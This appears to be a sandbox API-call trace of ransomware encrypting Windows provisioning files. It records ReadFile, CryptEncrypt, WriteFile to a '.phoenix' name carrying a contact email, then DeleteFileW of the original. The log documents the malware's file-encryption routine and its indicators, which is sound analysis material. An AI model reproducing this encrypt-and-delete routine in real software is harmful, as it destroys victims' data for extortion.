	[0252.553] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c7, lpOverlapped=0x0) returned 1
	[0252.554] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0252.554] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0252.555] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0252.555] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.555] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0252.555] CryptDestroyKey (hKey=0x151100) returned 1
	[0252.555] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0252.555] CryptDestroyKey (hKey=0x151040) returned 1
	[0252.555] CloseHandle (hObject=0x2e8) returned 1
	[0252.555] CloseHandle (hObject=0x2c4) returned 1
	[0252.555] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0252.557] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.557] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.557] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0252.557] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0252.557] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.557] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34a, lpOverlapped=0x0) returned 1
	[0252.563] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0252.563] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0252.568] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0252.568] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.568] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0252.569] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0252.569] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0252.569] CryptDestroyKey (hKey=0x151600) returned 1
	[0252.569] CloseHandle (hObject=0x2c4) returned 1
	[0252.569] CloseHandle (hObject=0x2e8) returned 1
	[0252.569] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.571] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.571] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.572] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0252.572] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.572] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34d, lpOverlapped=0x0) returned 1
	[0252.585] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0252.585] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0252.586] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0252.586] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.586] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0252.586] CryptDestroyKey (hKey=0x151600) returned 1
	[0252.586] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0252.586] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0252.586] CloseHandle (hObject=0x2e8) returned 1
	[0252.586] CloseHandle (hObject=0x2c4) returned 1
	[0252.586] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0252.588] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.588] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.588] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0252.589] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0252.589] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.589] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0252.602] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0252.602] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0252.602] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0252.603] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.603] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0252.603] CryptDestroyKey (hKey=0x151740) returned 1
	[0252.603] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0252.603] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0252.603] CloseHandle (hObject=0x2c4) returned 1
	[0252.603] CloseHandle (hObject=0x2e8) returned 1
	[0252.603] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml")) returned 1
	[0252.604] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.604] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.605] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.605] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0252.605] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.605] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x359, lpOverlapped=0x0) returned 1
	[0252.710] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0252.710] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0252.710] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0252.711] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.711] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0252.711] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0252.711] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0252.711] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0252.711] CloseHandle (hObject=0x2e8) returned 1
	[0252.711] CloseHandle (hObject=0x2c4) returned 1
	[0252.711] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml")) returned 1
	[0252.758] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.758] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.759] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0252.759] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.759] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0252.760] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0252.760] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0252.760] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0252.760] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.760] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0252.760] CryptDestroyKey (hKey=0x151200) returned 1
	[0252.760] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0252.761] CryptDestroyKey (hKey=0x151280) returned 1
	[0252.761] CloseHandle (hObject=0x2d0) returned 1
	[0252.761] CloseHandle (hObject=0x2c4) returned 1
	[0252.761] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0252.762] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.762] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.762] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0252.763] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0252.763] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.763] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0252.803] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0252.803] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0252.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0252.803] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.804] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0252.804] CryptDestroyKey (hKey=0x151640) returned 1
	[0252.804] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0252.804] CryptDestroyKey (hKey=0x151380) returned 1
	[0252.804] CloseHandle (hObject=0x2c4) returned 1
	[0252.804] CloseHandle (hObject=0x2d0) returned 1
	[0252.804] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.806] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.806] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0252.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0252.806] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0252.807] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.807] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e4, lpOverlapped=0x0) returned 1
	[0252.816] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0252.817] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0252.817] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0252.817] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0252.818] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0252.818] CryptDestroyKey (hKey=0x151180) returned 1
